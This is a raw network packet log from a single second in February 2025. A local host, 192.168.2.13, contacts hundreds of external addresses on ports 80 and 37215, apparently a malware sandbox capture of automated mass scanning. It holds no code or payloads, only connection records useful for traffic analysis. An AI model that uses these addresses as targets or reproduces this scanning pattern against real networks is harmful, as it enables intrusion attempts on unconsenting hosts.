Feb 19, 2025 19:43:16.926424980 CET	80	27058	112.215.179.189	192.168.2.13
Feb 19, 2025 19:43:16.926426888 CET	27058	80	192.168.2.13	112.194.96.95
Feb 19, 2025 19:43:16.926436901 CET	80	27058	112.121.81.13	192.168.2.13
Feb 19, 2025 19:43:16.926454067 CET	80	27058	112.191.21.255	192.168.2.13
Feb 19, 2025 19:43:16.926464081 CET	27058	80	192.168.2.13	112.215.179.189
Feb 19, 2025 19:43:16.926465988 CET	80	27058	112.46.81.217	192.168.2.13
Feb 19, 2025 19:43:16.926481009 CET	80	27058	112.204.181.222	192.168.2.13
Feb 19, 2025 19:43:16.926496983 CET	27058	80	192.168.2.13	112.226.241.137
Feb 19, 2025 19:43:16.926493883 CET	80	27058	112.142.141.128	192.168.2.13
Feb 19, 2025 19:43:16.926501036 CET	27058	80	192.168.2.13	112.46.81.217
Feb 19, 2025 19:43:16.926501989 CET	27058	80	192.168.2.13	112.191.21.255
Feb 19, 2025 19:43:16.926503897 CET	27058	80	192.168.2.13	112.121.81.13
Feb 19, 2025 19:43:16.926512003 CET	80	27058	112.189.218.192	192.168.2.13
Feb 19, 2025 19:43:16.926527023 CET	80	27058	112.109.129.66	192.168.2.13
Feb 19, 2025 19:43:16.926537991 CET	27058	80	192.168.2.13	112.204.181.222
Feb 19, 2025 19:43:16.926538944 CET	27058	80	192.168.2.13	112.142.141.128
Feb 19, 2025 19:43:16.926539898 CET	80	27058	112.250.51.16	192.168.2.13
Feb 19, 2025 19:43:16.926568985 CET	80	27058	112.124.236.34	192.168.2.13
Feb 19, 2025 19:43:16.926582098 CET	80	27058	112.38.48.250	192.168.2.13
Feb 19, 2025 19:43:16.926594019 CET	80	27058	112.185.129.9	192.168.2.13
Feb 19, 2025 19:43:16.926600933 CET	27058	80	192.168.2.13	112.189.218.192
Feb 19, 2025 19:43:16.926600933 CET	27058	80	192.168.2.13	112.109.129.66
Feb 19, 2025 19:43:16.926606894 CET	80	27058	112.246.117.77	192.168.2.13
Feb 19, 2025 19:43:16.926625013 CET	80	27058	112.60.170.178	192.168.2.13
Feb 19, 2025 19:43:16.926635027 CET	27058	80	192.168.2.13	112.185.129.9
Feb 19, 2025 19:43:16.926647902 CET	80	27058	112.201.115.247	192.168.2.13
Feb 19, 2025 19:43:16.926651955 CET	27058	80	192.168.2.13	112.250.51.16
Feb 19, 2025 19:43:16.926651955 CET	27058	80	192.168.2.13	112.124.236.34
Feb 19, 2025 19:43:16.926651955 CET	27058	80	192.168.2.13	112.38.48.250
Feb 19, 2025 19:43:16.926661968 CET	27058	80	192.168.2.13	112.246.117.77
Feb 19, 2025 19:43:16.926681995 CET	27058	80	192.168.2.13	112.60.170.178
Feb 19, 2025 19:43:16.926706076 CET	27058	80	192.168.2.13	112.201.115.247
Feb 19, 2025 19:43:16.926713943 CET	80	27058	112.71.86.230	192.168.2.13
Feb 19, 2025 19:43:16.926728010 CET	80	27058	112.177.196.208	192.168.2.13
Feb 19, 2025 19:43:16.926739931 CET	80	27058	112.227.10.230	192.168.2.13
Feb 19, 2025 19:43:16.926753998 CET	80	27058	112.81.142.30	192.168.2.13
Feb 19, 2025 19:43:16.926768064 CET	80	27058	112.124.129.239	192.168.2.13
Feb 19, 2025 19:43:16.926780939 CET	80	27058	112.165.112.201	192.168.2.13
Feb 19, 2025 19:43:16.926794052 CET	27058	80	192.168.2.13	112.71.86.230
Feb 19, 2025 19:43:16.926794052 CET	27058	80	192.168.2.13	112.177.196.208
Feb 19, 2025 19:43:16.926795959 CET	80	27058	112.103.75.66	192.168.2.13
Feb 19, 2025 19:43:16.926809072 CET	80	27058	112.114.221.209	192.168.2.13
Feb 19, 2025 19:43:16.926821947 CET	27058	80	192.168.2.13	112.227.10.230
Feb 19, 2025 19:43:16.926821947 CET	27058	80	192.168.2.13	112.103.75.66
Feb 19, 2025 19:43:16.926825047 CET	27058	80	192.168.2.13	112.124.129.239
Feb 19, 2025 19:43:16.926827908 CET	27058	80	192.168.2.13	112.165.112.201
Feb 19, 2025 19:43:16.926842928 CET	80	27058	112.92.58.175	192.168.2.13
Feb 19, 2025 19:43:16.926848888 CET	27058	80	192.168.2.13	112.81.142.30
Feb 19, 2025 19:43:16.926850080 CET	27058	80	192.168.2.13	112.114.221.209
Feb 19, 2025 19:43:16.926862955 CET	80	27058	112.3.80.37	192.168.2.13
Feb 19, 2025 19:43:16.926878929 CET	80	27058	112.180.159.6	192.168.2.13
Feb 19, 2025 19:43:16.926892042 CET	80	27058	112.107.182.88	192.168.2.13
Feb 19, 2025 19:43:16.926898003 CET	27058	80	192.168.2.13	112.92.58.175
Feb 19, 2025 19:43:16.926903963 CET	27058	80	192.168.2.13	112.3.80.37
Feb 19, 2025 19:43:16.926903963 CET	80	27058	112.233.0.161	192.168.2.13
Feb 19, 2025 19:43:16.926918983 CET	80	27058	112.20.212.143	192.168.2.13
Feb 19, 2025 19:43:16.926930904 CET	80	27058	112.52.167.79	192.168.2.13
Feb 19, 2025 19:43:16.926944971 CET	80	27058	112.17.134.152	192.168.2.13
Feb 19, 2025 19:43:16.926956892 CET	80	27058	112.175.40.190	192.168.2.13
Feb 19, 2025 19:43:16.926960945 CET	27058	80	192.168.2.13	112.233.0.161
Feb 19, 2025 19:43:16.926970005 CET	80	27058	112.117.91.82	192.168.2.13
Feb 19, 2025 19:43:16.926971912 CET	27058	80	192.168.2.13	112.20.212.143
Feb 19, 2025 19:43:16.926976919 CET	80	27058	112.132.19.1	192.168.2.13
Feb 19, 2025 19:43:16.926979065 CET	53516	80	192.168.2.13	112.124.55.55
Feb 19, 2025 19:43:16.926990986 CET	27058	80	192.168.2.13	112.52.167.79
Feb 19, 2025 19:43:16.926991940 CET	27058	80	192.168.2.13	112.17.134.152
Feb 19, 2025 19:43:16.926992893 CET	27058	80	192.168.2.13	112.175.40.190
Feb 19, 2025 19:43:16.927000999 CET	27058	80	192.168.2.13	112.180.159.6
Feb 19, 2025 19:43:16.927005053 CET	27058	80	192.168.2.13	112.117.91.82
Feb 19, 2025 19:43:16.927011013 CET	80	27058	112.170.30.196	192.168.2.13
Feb 19, 2025 19:43:16.927014112 CET	27058	80	192.168.2.13	112.132.19.1
Feb 19, 2025 19:43:16.927025080 CET	80	27058	112.225.217.59	192.168.2.13
Feb 19, 2025 19:43:16.927037954 CET	80	27058	112.119.213.200	192.168.2.13
Feb 19, 2025 19:43:16.927050114 CET	80	27058	112.45.22.51	192.168.2.13
Feb 19, 2025 19:43:16.927052975 CET	27058	80	192.168.2.13	112.107.182.88
Feb 19, 2025 19:43:16.927052975 CET	27058	80	192.168.2.13	112.170.30.196
Feb 19, 2025 19:43:16.927062988 CET	80	27058	112.23.181.237	192.168.2.13
Feb 19, 2025 19:43:16.927076101 CET	80	27058	112.34.203.196	192.168.2.13
Feb 19, 2025 19:43:16.927089930 CET	80	27058	112.151.120.240	192.168.2.13
Feb 19, 2025 19:43:16.927102089 CET	80	27058	112.6.158.169	192.168.2.13
Feb 19, 2025 19:43:16.927115917 CET	80	27058	112.252.219.15	192.168.2.13
Feb 19, 2025 19:43:16.927134037 CET	80	27058	112.49.64.238	192.168.2.13
Feb 19, 2025 19:43:16.927141905 CET	27058	80	192.168.2.13	112.23.181.237
Feb 19, 2025 19:43:16.927141905 CET	27058	80	192.168.2.13	112.151.120.240
Feb 19, 2025 19:43:16.927155972 CET	27058	80	192.168.2.13	112.225.217.59
Feb 19, 2025 19:43:16.927155972 CET	27058	80	192.168.2.13	112.119.213.200
Feb 19, 2025 19:43:16.927155972 CET	27058	80	192.168.2.13	112.45.22.51
Feb 19, 2025 19:43:16.927155972 CET	27058	80	192.168.2.13	112.34.203.196
Feb 19, 2025 19:43:16.927160025 CET	80	27058	112.179.159.62	192.168.2.13
Feb 19, 2025 19:43:16.927175045 CET	80	27058	112.112.161.62	192.168.2.13
Feb 19, 2025 19:43:16.927177906 CET	27058	80	192.168.2.13	112.49.64.238
Feb 19, 2025 19:43:16.927179098 CET	27058	80	192.168.2.13	112.6.158.169
Feb 19, 2025 19:43:16.927179098 CET	27058	80	192.168.2.13	112.252.219.15
Feb 19, 2025 19:43:16.927186966 CET	80	27058	112.56.57.16	192.168.2.13
Feb 19, 2025 19:43:16.927200079 CET	80	27058	112.137.253.164	192.168.2.13
Feb 19, 2025 19:43:16.927210093 CET	27058	80	192.168.2.13	112.179.159.62
Feb 19, 2025 19:43:16.927212000 CET	80	27058	112.250.25.156	192.168.2.13
Feb 19, 2025 19:43:16.927223921 CET	80	27058	112.237.143.230	192.168.2.13
Feb 19, 2025 19:43:16.927237988 CET	80	27058	112.202.87.8	192.168.2.13
Feb 19, 2025 19:43:16.927252054 CET	80	27058	112.185.68.157	192.168.2.13
Feb 19, 2025 19:43:16.927268982 CET	27058	80	192.168.2.13	112.112.161.62
Feb 19, 2025 19:43:16.927268982 CET	80	27058	112.232.182.24	192.168.2.13
Feb 19, 2025 19:43:16.927272081 CET	27058	80	192.168.2.13	112.56.57.16
Feb 19, 2025 19:43:16.927272081 CET	27058	80	192.168.2.13	112.137.253.164
Feb 19, 2025 19:43:16.927275896 CET	27058	80	192.168.2.13	112.237.143.230
Feb 19, 2025 19:43:16.927278996 CET	27058	80	192.168.2.13	112.250.25.156
Feb 19, 2025 19:43:16.927295923 CET	27058	80	192.168.2.13	112.202.87.8
Feb 19, 2025 19:43:16.927301884 CET	27058	80	192.168.2.13	112.185.68.157
Feb 19, 2025 19:43:16.927309990 CET	27058	80	192.168.2.13	112.232.182.24
Feb 19, 2025 19:43:16.929874897 CET	41720	80	192.168.2.13	112.173.4.193
Feb 19, 2025 19:43:16.933545113 CET	34770	80	192.168.2.13	112.191.113.245
Feb 19, 2025 19:43:16.934921980 CET	80	41720	112.173.4.193	192.168.2.13
Feb 19, 2025 19:43:16.934979916 CET	41720	80	192.168.2.13	112.173.4.193
Feb 19, 2025 19:43:16.938374043 CET	44262	80	192.168.2.13	112.94.111.49
Feb 19, 2025 19:43:16.941660881 CET	56524	80	192.168.2.13	112.67.32.40
Feb 19, 2025 19:43:16.943408966 CET	80	44262	112.94.111.49	192.168.2.13
Feb 19, 2025 19:43:16.943460941 CET	44262	80	192.168.2.13	112.94.111.49
Feb 19, 2025 19:43:16.945800066 CET	58426	80	192.168.2.13	112.75.195.217
Feb 19, 2025 19:43:16.950187922 CET	43878	80	192.168.2.13	112.93.31.83
Feb 19, 2025 19:43:16.953397989 CET	57752	80	192.168.2.13	112.114.189.188
Feb 19, 2025 19:43:16.955039978 CET	27314	37215	192.168.2.13	41.67.37.187
Feb 19, 2025 19:43:16.955040932 CET	27314	37215	192.168.2.13	41.29.75.94
Feb 19, 2025 19:43:16.955040932 CET	27314	37215	192.168.2.13	41.48.45.202
Feb 19, 2025 19:43:16.955045938 CET	27314	37215	192.168.2.13	41.92.5.95
Feb 19, 2025 19:43:16.955085993 CET	27314	37215	192.168.2.13	41.121.96.85
Feb 19, 2025 19:43:16.955118895 CET	27314	37215	192.168.2.13	41.80.234.99
Feb 19, 2025 19:43:16.955199003 CET	27314	37215	192.168.2.13	41.50.77.4
Feb 19, 2025 19:43:16.955199957 CET	27314	37215	192.168.2.13	41.46.112.186
Feb 19, 2025 19:43:16.955199957 CET	27314	37215	192.168.2.13	41.166.192.31
Feb 19, 2025 19:43:16.955250978 CET	80	43878	112.93.31.83	192.168.2.13
Feb 19, 2025 19:43:16.955265045 CET	27314	37215	192.168.2.13	41.31.239.142
Feb 19, 2025 19:43:16.955297947 CET	27314	37215	192.168.2.13	41.204.122.18
Feb 19, 2025 19:43:16.955307007 CET	27314	37215	192.168.2.13	41.183.151.97
Feb 19, 2025 19:43:16.955307007 CET	27314	37215	192.168.2.13	41.216.128.207
Feb 19, 2025 19:43:16.955307961 CET	27314	37215	192.168.2.13	41.157.170.243
Feb 19, 2025 19:43:16.955308914 CET	27314	37215	192.168.2.13	41.245.224.54
Feb 19, 2025 19:43:16.955347061 CET	27314	37215	192.168.2.13	41.133.55.139
Feb 19, 2025 19:43:16.955347061 CET	43878	80	192.168.2.13	112.93.31.83
Feb 19, 2025 19:43:16.955349922 CET	27314	37215	192.168.2.13	41.56.90.99
Feb 19, 2025 19:43:16.955349922 CET	27314	37215	192.168.2.13	41.33.195.146
Feb 19, 2025 19:43:16.955349922 CET	27314	37215	192.168.2.13	41.229.81.25
Feb 19, 2025 19:43:16.955372095 CET	27314	37215	192.168.2.13	41.252.241.199
Feb 19, 2025 19:43:16.955389977 CET	27314	37215	192.168.2.13	41.80.227.43
Feb 19, 2025 19:43:16.955389977 CET	27314	37215	192.168.2.13	41.222.121.106
Feb 19, 2025 19:43:16.955389977 CET	27314	37215	192.168.2.13	41.231.155.167
Feb 19, 2025 19:43:16.955447912 CET	27314	37215	192.168.2.13	41.11.96.83
Feb 19, 2025 19:43:16.955447912 CET	27314	37215	192.168.2.13	41.159.41.169
Feb 19, 2025 19:43:16.955451965 CET	27314	37215	192.168.2.13	41.19.194.3
Feb 19, 2025 19:43:16.955451965 CET	27314	37215	192.168.2.13	41.168.92.27
Feb 19, 2025 19:43:16.955452919 CET	27314	37215	192.168.2.13	41.148.11.73
Feb 19, 2025 19:43:16.955451965 CET	27314	37215	192.168.2.13	41.246.230.39
Feb 19, 2025 19:43:16.955451965 CET	27314	37215	192.168.2.13	41.106.240.189
Feb 19, 2025 19:43:16.955463886 CET	27314	37215	192.168.2.13	41.125.73.114
Feb 19, 2025 19:43:16.955463886 CET	27314	37215	192.168.2.13	41.33.39.183
Feb 19, 2025 19:43:16.955463886 CET	27314	37215	192.168.2.13	41.38.39.190
Feb 19, 2025 19:43:16.955467939 CET	27314	37215	192.168.2.13	41.54.229.87
Feb 19, 2025 19:43:16.955486059 CET	27314	37215	192.168.2.13	41.94.232.11
Feb 19, 2025 19:43:16.955488920 CET	27314	37215	192.168.2.13	41.91.103.209
Feb 19, 2025 19:43:16.955488920 CET	27314	37215	192.168.2.13	41.217.186.177
Feb 19, 2025 19:43:16.955488920 CET	27314	37215	192.168.2.13	41.65.111.185
Feb 19, 2025 19:43:16.955491066 CET	27314	37215	192.168.2.13	41.145.200.130
Feb 19, 2025 19:43:16.955491066 CET	27314	37215	192.168.2.13	41.161.130.195
Feb 19, 2025 19:43:16.955491066 CET	27314	37215	192.168.2.13	41.128.211.112
Feb 19, 2025 19:43:16.955491066 CET	27314	37215	192.168.2.13	41.132.66.86
Feb 19, 2025 19:43:16.955491066 CET	27314	37215	192.168.2.13	41.197.210.112
Feb 19, 2025 19:43:16.955493927 CET	27314	37215	192.168.2.13	41.30.225.239
Feb 19, 2025 19:43:16.955538988 CET	27314	37215	192.168.2.13	41.74.52.222
Feb 19, 2025 19:43:16.955538988 CET	27314	37215	192.168.2.13	41.126.160.10
Feb 19, 2025 19:43:16.955539942 CET	27314	37215	192.168.2.13	41.173.216.4
Feb 19, 2025 19:43:16.955542088 CET	27314	37215	192.168.2.13	41.221.0.116
Feb 19, 2025 19:43:16.955670118 CET	27314	37215	192.168.2.13	41.122.229.216
Feb 19, 2025 19:43:16.955670118 CET	27314	37215	192.168.2.13	41.237.107.218
Feb 19, 2025 19:43:16.955671072 CET	27314	37215	192.168.2.13	41.206.144.174
Feb 19, 2025 19:43:16.955671072 CET	27314	37215	192.168.2.13	41.188.96.237
Feb 19, 2025 19:43:16.955671072 CET	27314	37215	192.168.2.13	41.222.162.148
Feb 19, 2025 19:43:16.955672979 CET	27314	37215	192.168.2.13	41.255.97.197
Feb 19, 2025 19:43:16.955673933 CET	27314	37215	192.168.2.13	41.7.72.126
Feb 19, 2025 19:43:16.955673933 CET	27314	37215	192.168.2.13	41.6.90.146
Feb 19, 2025 19:43:16.955682039 CET	27314	37215	192.168.2.13	41.147.210.149
Feb 19, 2025 19:43:16.955698967 CET	27314	37215	192.168.2.13	41.17.243.127
Feb 19, 2025 19:43:16.955699921 CET	27314	37215	192.168.2.13	41.149.195.129
Feb 19, 2025 19:43:16.955702066 CET	27314	37215	192.168.2.13	41.136.119.133
Feb 19, 2025 19:43:16.955702066 CET	27314	37215	192.168.2.13	41.112.33.93
Feb 19, 2025 19:43:16.955702066 CET	27314	37215	192.168.2.13	41.74.253.190
Feb 19, 2025 19:43:16.955719948 CET	27314	37215	192.168.2.13	41.68.148.115
Feb 19, 2025 19:43:16.955740929 CET	27314	37215	192.168.2.13	41.161.179.162
Feb 19, 2025 19:43:16.955748081 CET	27314	37215	192.168.2.13	41.236.34.143
Feb 19, 2025 19:43:16.955832958 CET	27314	37215	192.168.2.13	41.63.0.85
Feb 19, 2025 19:43:16.955835104 CET	27314	37215	192.168.2.13	41.144.180.87
Feb 19, 2025 19:43:16.955837965 CET	27314	37215	192.168.2.13	41.100.200.123
Feb 19, 2025 19:43:16.955837965 CET	27314	37215	192.168.2.13	41.13.171.214
Feb 19, 2025 19:43:16.955859900 CET	27314	37215	192.168.2.13	41.203.153.228
Feb 19, 2025 19:43:16.955859900 CET	27314	37215	192.168.2.13	41.111.143.15
Feb 19, 2025 19:43:16.955862045 CET	27314	37215	192.168.2.13	41.228.34.2
Feb 19, 2025 19:43:16.955868959 CET	27314	37215	192.168.2.13	41.23.40.105
Feb 19, 2025 19:43:16.955869913 CET	27314	37215	192.168.2.13	41.184.85.77
Feb 19, 2025 19:43:16.955869913 CET	27314	37215	192.168.2.13	41.159.95.15
Feb 19, 2025 19:43:16.955878019 CET	27314	37215	192.168.2.13	41.43.65.96
Feb 19, 2025 19:43:16.955933094 CET	27314	37215	192.168.2.13	41.214.34.2
Feb 19, 2025 19:43:16.955966949 CET	27314	37215	192.168.2.13	41.83.250.151
Feb 19, 2025 19:43:16.956011057 CET	27314	37215	192.168.2.13	41.199.75.184
Feb 19, 2025 19:43:16.956011057 CET	27314	37215	192.168.2.13	41.237.95.33
Feb 19, 2025 19:43:16.956017017 CET	27314	37215	192.168.2.13	41.158.233.132
Feb 19, 2025 19:43:16.956017017 CET	27314	37215	192.168.2.13	41.246.31.224
Feb 19, 2025 19:43:16.956022978 CET	27314	37215	192.168.2.13	41.119.21.153
Feb 19, 2025 19:43:16.956036091 CET	27314	37215	192.168.2.13	41.97.76.129
Feb 19, 2025 19:43:16.956038952 CET	27314	37215	192.168.2.13	41.160.204.169
Feb 19, 2025 19:43:16.956038952 CET	27314	37215	192.168.2.13	41.94.179.115
Feb 19, 2025 19:43:16.956048965 CET	27314	37215	192.168.2.13	41.237.188.65
Feb 19, 2025 19:43:16.956048965 CET	27314	37215	192.168.2.13	41.191.195.27
Feb 19, 2025 19:43:16.956053019 CET	27314	37215	192.168.2.13	41.91.189.21
Feb 19, 2025 19:43:16.956087112 CET	27314	37215	192.168.2.13	41.46.246.74
Feb 19, 2025 19:43:16.956087112 CET	27314	37215	192.168.2.13	41.30.142.66
Feb 19, 2025 19:43:16.956087112 CET	27314	37215	192.168.2.13	41.183.221.68
Feb 19, 2025 19:43:16.956110954 CET	27314	37215	192.168.2.13	41.24.18.240
Feb 19, 2025 19:43:16.956115961 CET	27314	37215	192.168.2.13	41.211.6.103
Feb 19, 2025 19:43:16.956120014 CET	27314	37215	192.168.2.13	41.96.42.75
Feb 19, 2025 19:43:16.956181049 CET	27314	37215	192.168.2.13	41.49.54.219
Feb 19, 2025 19:43:16.956198931 CET	35108	80	192.168.2.13	112.28.151.176
Feb 19, 2025 19:43:16.956198931 CET	27314	37215	192.168.2.13	41.9.104.132
Feb 19, 2025 19:43:16.956223965 CET	27314	37215	192.168.2.13	41.29.10.52
Feb 19, 2025 19:43:16.956226110 CET	27314	37215	192.168.2.13	41.145.250.245
Feb 19, 2025 19:43:16.956226110 CET	27314	37215	192.168.2.13	41.87.66.212
Feb 19, 2025 19:43:16.956227064 CET	27314	37215	192.168.2.13	41.179.96.4
Feb 19, 2025 19:43:16.956227064 CET	27314	37215	192.168.2.13	41.201.124.238
Feb 19, 2025 19:43:16.956233025 CET	27314	37215	192.168.2.13	41.203.172.161
Feb 19, 2025 19:43:16.956237078 CET	27314	37215	192.168.2.13	41.48.81.38
Feb 19, 2025 19:43:16.956250906 CET	27314	37215	192.168.2.13	41.168.164.198
Feb 19, 2025 19:43:16.956250906 CET	27314	37215	192.168.2.13	41.188.190.146
Feb 19, 2025 19:43:16.956288099 CET	27314	37215	192.168.2.13	41.135.5.9
Feb 19, 2025 19:43:16.956353903 CET	27314	37215	192.168.2.13	41.249.168.160
Feb 19, 2025 19:43:16.956353903 CET	27314	37215	192.168.2.13	41.214.125.132
Feb 19, 2025 19:43:16.956353903 CET	27314	37215	192.168.2.13	41.71.236.112
Feb 19, 2025 19:43:16.956394911 CET	27314	37215	192.168.2.13	41.9.211.74
Feb 19, 2025 19:43:16.956403971 CET	27314	37215	192.168.2.13	41.254.89.252
Feb 19, 2025 19:43:16.956412077 CET	27314	37215	192.168.2.13	41.92.174.36
Feb 19, 2025 19:43:16.956414938 CET	27314	37215	192.168.2.13	41.243.11.191
Feb 19, 2025 19:43:16.956417084 CET	27314	37215	192.168.2.13	41.215.186.23
Feb 19, 2025 19:43:16.956417084 CET	27314	37215	192.168.2.13	41.123.107.80
Feb 19, 2025 19:43:16.956428051 CET	27314	37215	192.168.2.13	41.27.87.91
Feb 19, 2025 19:43:16.956428051 CET	27314	37215	192.168.2.13	41.116.200.181
Feb 19, 2025 19:43:16.956434965 CET	27314	37215	192.168.2.13	41.217.94.246
Feb 19, 2025 19:43:16.956487894 CET	27314	37215	192.168.2.13	41.89.228.92
Feb 19, 2025 19:43:16.956521988 CET	27314	37215	192.168.2.13	41.235.125.42
Feb 19, 2025 19:43:16.956556082 CET	27314	37215	192.168.2.13	41.74.243.141
Feb 19, 2025 19:43:16.956556082 CET	27314	37215	192.168.2.13	41.123.105.214
Feb 19, 2025 19:43:16.956556082 CET	27314	37215	192.168.2.13	41.172.59.181
Feb 19, 2025 19:43:16.956557989 CET	27314	37215	192.168.2.13	41.18.245.54
Feb 19, 2025 19:43:16.956562042 CET	27314	37215	192.168.2.13	41.61.95.53
Feb 19, 2025 19:43:16.956564903 CET	27314	37215	192.168.2.13	41.111.71.17
Feb 19, 2025 19:43:16.956573963 CET	27314	37215	192.168.2.13	41.250.52.16
Feb 19, 2025 19:43:16.956579924 CET	27314	37215	192.168.2.13	41.85.51.228
Feb 19, 2025 19:43:16.956585884 CET	27314	37215	192.168.2.13	41.94.163.247
Feb 19, 2025 19:43:16.956643105 CET	27314	37215	192.168.2.13	41.25.113.66
Feb 19, 2025 19:43:16.956655979 CET	27314	37215	192.168.2.13	41.178.108.205
Feb 19, 2025 19:43:16.956655979 CET	27314	37215	192.168.2.13	41.60.193.245
Feb 19, 2025 19:43:16.956701994 CET	27314	37215	192.168.2.13	41.48.233.89
Feb 19, 2025 19:43:16.956705093 CET	27314	37215	192.168.2.13	41.222.121.123
Feb 19, 2025 19:43:16.956705093 CET	27314	37215	192.168.2.13	41.187.171.107
Feb 19, 2025 19:43:16.956707001 CET	27314	37215	192.168.2.13	41.228.240.10
Feb 19, 2025 19:43:16.956707001 CET	27314	37215	192.168.2.13	41.75.40.239
Feb 19, 2025 19:43:16.956708908 CET	27314	37215	192.168.2.13	41.43.202.200
Feb 19, 2025 19:43:16.956728935 CET	27314	37215	192.168.2.13	41.210.144.142
Feb 19, 2025 19:43:16.956728935 CET	27314	37215	192.168.2.13	41.145.62.117
Feb 19, 2025 19:43:16.956763983 CET	27314	37215	192.168.2.13	41.200.10.175
Feb 19, 2025 19:43:16.956764936 CET	27314	37215	192.168.2.13	41.213.106.244
Feb 19, 2025 19:43:16.956773996 CET	27314	37215	192.168.2.13	41.148.189.51
Feb 19, 2025 19:43:16.956779003 CET	27314	37215	192.168.2.13	41.88.48.169
Feb 19, 2025 19:43:16.956819057 CET	27314	37215	192.168.2.13	41.213.89.66
Feb 19, 2025 19:43:16.956839085 CET	27314	37215	192.168.2.13	41.58.162.190
Feb 19, 2025 19:43:16.956850052 CET	27314	37215	192.168.2.13	41.56.204.56
Feb 19, 2025 19:43:16.956856012 CET	27314	37215	192.168.2.13	41.174.75.33
Feb 19, 2025 19:43:16.956849098 CET	27314	37215	192.168.2.13	41.51.164.91
Feb 19, 2025 19:43:16.956878901 CET	27314	37215	192.168.2.13	41.76.171.63
Feb 19, 2025 19:43:16.956883907 CET	27314	37215	192.168.2.13	41.207.37.107
Feb 19, 2025 19:43:16.956908941 CET	27314	37215	192.168.2.13	41.164.15.71
Feb 19, 2025 19:43:16.956908941 CET	27314	37215	192.168.2.13	41.50.237.161
Feb 19, 2025 19:43:16.956909895 CET	27314	37215	192.168.2.13	41.87.160.36
Feb 19, 2025 19:43:16.956914902 CET	27314	37215	192.168.2.13	41.182.161.32
Feb 19, 2025 19:43:16.956929922 CET	27314	37215	192.168.2.13	41.249.33.161
Feb 19, 2025 19:43:16.957031965 CET	27314	37215	192.168.2.13	41.48.167.245
Feb 19, 2025 19:43:16.957032919 CET	27314	37215	192.168.2.13	41.36.48.6
Feb 19, 2025 19:43:16.957192898 CET	27314	37215	192.168.2.13	41.90.33.253
Feb 19, 2025 19:43:16.957546949 CET	33992	80	192.168.2.13	112.55.59.52
Feb 19, 2025 19:43:16.959558964 CET	37436	37215	192.168.2.13	41.59.4.209
Feb 19, 2025 19:43:16.960314035 CET	37215	27314	41.245.224.54	192.168.2.13
Feb 19, 2025 19:43:16.960436106 CET	27314	37215	192.168.2.13	41.245.224.54
Feb 19, 2025 19:43:16.961370945 CET	49910	80	192.168.2.13	112.41.67.178
Feb 19, 2025 19:43:16.962300062 CET	48738	37215	192.168.2.13	41.136.189.146
Feb 19, 2025 19:43:16.963761091 CET	34848	80	192.168.2.13	112.69.153.183
Feb 19, 2025 19:43:16.964183092 CET	44096	37215	192.168.2.13	41.168.82.214
Feb 19, 2025 19:43:16.965631962 CET	55362	80	192.168.2.13	112.98.141.139
Feb 19, 2025 19:43:16.966226101 CET	60438	37215	192.168.2.13	41.152.169.55
Feb 19, 2025 19:43:16.968847036 CET	50988	80	192.168.2.13	112.248.206.112
Feb 19, 2025 19:43:16.969433069 CET	37962	37215	192.168.2.13	41.126.18.90
Feb 19, 2025 19:43:16.971613884 CET	60390	80	192.168.2.13	112.193.166.37
Feb 19, 2025 19:43:16.971913099 CET	35886	37215	192.168.2.13	41.103.177.245
Feb 19, 2025 19:43:16.973927975 CET	80	50988	112.248.206.112	192.168.2.13
Feb 19, 2025 19:43:16.973970890 CET	50988	80	192.168.2.13	112.248.206.112
Feb 19, 2025 19:43:16.974116087 CET	39554	37215	192.168.2.13	41.61.7.237
Feb 19, 2025 19:43:16.974237919 CET	41860	80	192.168.2.13	112.67.20.84
Feb 19, 2025 19:43:16.975229025 CET	37215	27314	41.124.86.92	192.168.2.13
Feb 19, 2025 19:43:16.975245953 CET	37215	27314	41.173.244.130	192.168.2.13
Feb 19, 2025 19:43:16.975259066 CET	37215	27314	41.76.184.99	192.168.2.13
Feb 19, 2025 19:43:16.975271940 CET	37215	27314	41.207.66.122	192.168.2.13
Feb 19, 2025 19:43:16.975280046 CET	27314	37215	192.168.2.13	41.124.86.92
Feb 19, 2025 19:43:16.975286007 CET	37215	27314	41.91.152.85	192.168.2.13
Feb 19, 2025 19:43:16.975292921 CET	27314	37215	192.168.2.13	41.173.244.130
Feb 19, 2025 19:43:16.975296021 CET	27314	37215	192.168.2.13	41.76.184.99
Feb 19, 2025 19:43:16.975298882 CET	37215	27314	41.181.189.62	192.168.2.13
Feb 19, 2025 19:43:16.975320101 CET	27314	37215	192.168.2.13	41.91.152.85
Feb 19, 2025 19:43:16.975321054 CET	37215	27314	41.95.233.85	192.168.2.13
Feb 19, 2025 19:43:16.975336075 CET	37215	27314	41.126.7.138	192.168.2.13
Feb 19, 2025 19:43:16.975349903 CET	37215	27314	41.118.85.199	192.168.2.13
Feb 19, 2025 19:43:16.975364923 CET	37215	27314	41.165.247.113	192.168.2.13
Feb 19, 2025 19:43:16.975378036 CET	37215	27314	41.77.220.18	192.168.2.13
Feb 19, 2025 19:43:16.975392103 CET	37215	27314	41.218.15.4	192.168.2.13
Feb 19, 2025 19:43:16.975410938 CET	37215	27314	41.254.204.166	192.168.2.13
Feb 19, 2025 19:43:16.975410938 CET	27314	37215	192.168.2.13	41.95.233.85
Feb 19, 2025 19:43:16.975411892 CET	27314	37215	192.168.2.13	41.181.189.62
Feb 19, 2025 19:43:16.975418091 CET	27314	37215	192.168.2.13	41.118.85.199
Feb 19, 2025 19:43:16.975435019 CET	27314	37215	192.168.2.13	41.218.15.4
Feb 19, 2025 19:43:16.975436926 CET	27314	37215	192.168.2.13	41.77.220.18
Feb 19, 2025 19:43:16.975440979 CET	27314	37215	192.168.2.13	41.207.66.122
Feb 19, 2025 19:43:16.975440979 CET	27314	37215	192.168.2.13	41.126.7.138
Feb 19, 2025 19:43:16.975445986 CET	37215	27314	41.5.194.24	192.168.2.13
Feb 19, 2025 19:43:16.975461960 CET	37215	27314	41.64.83.78	192.168.2.13
Feb 19, 2025 19:43:16.975466967 CET	27314	37215	192.168.2.13	41.165.247.113
Feb 19, 2025 19:43:16.975477934 CET	37215	27314	41.43.1.195	192.168.2.13
Feb 19, 2025 19:43:16.975488901 CET	27314	37215	192.168.2.13	41.5.194.24
Feb 19, 2025 19:43:16.975492954 CET	37215	27314	41.146.26.197	192.168.2.13
Feb 19, 2025 19:43:16.975501060 CET	27314	37215	192.168.2.13	41.254.204.166
Feb 19, 2025 19:43:16.975506067 CET	37215	27314	41.81.144.144	192.168.2.13
Feb 19, 2025 19:43:16.975517988 CET	27314	37215	192.168.2.13	41.64.83.78
Feb 19, 2025 19:43:16.975517988 CET	27314	37215	192.168.2.13	41.43.1.195
Feb 19, 2025 19:43:16.975533009 CET	37215	27314	41.10.26.62	192.168.2.13
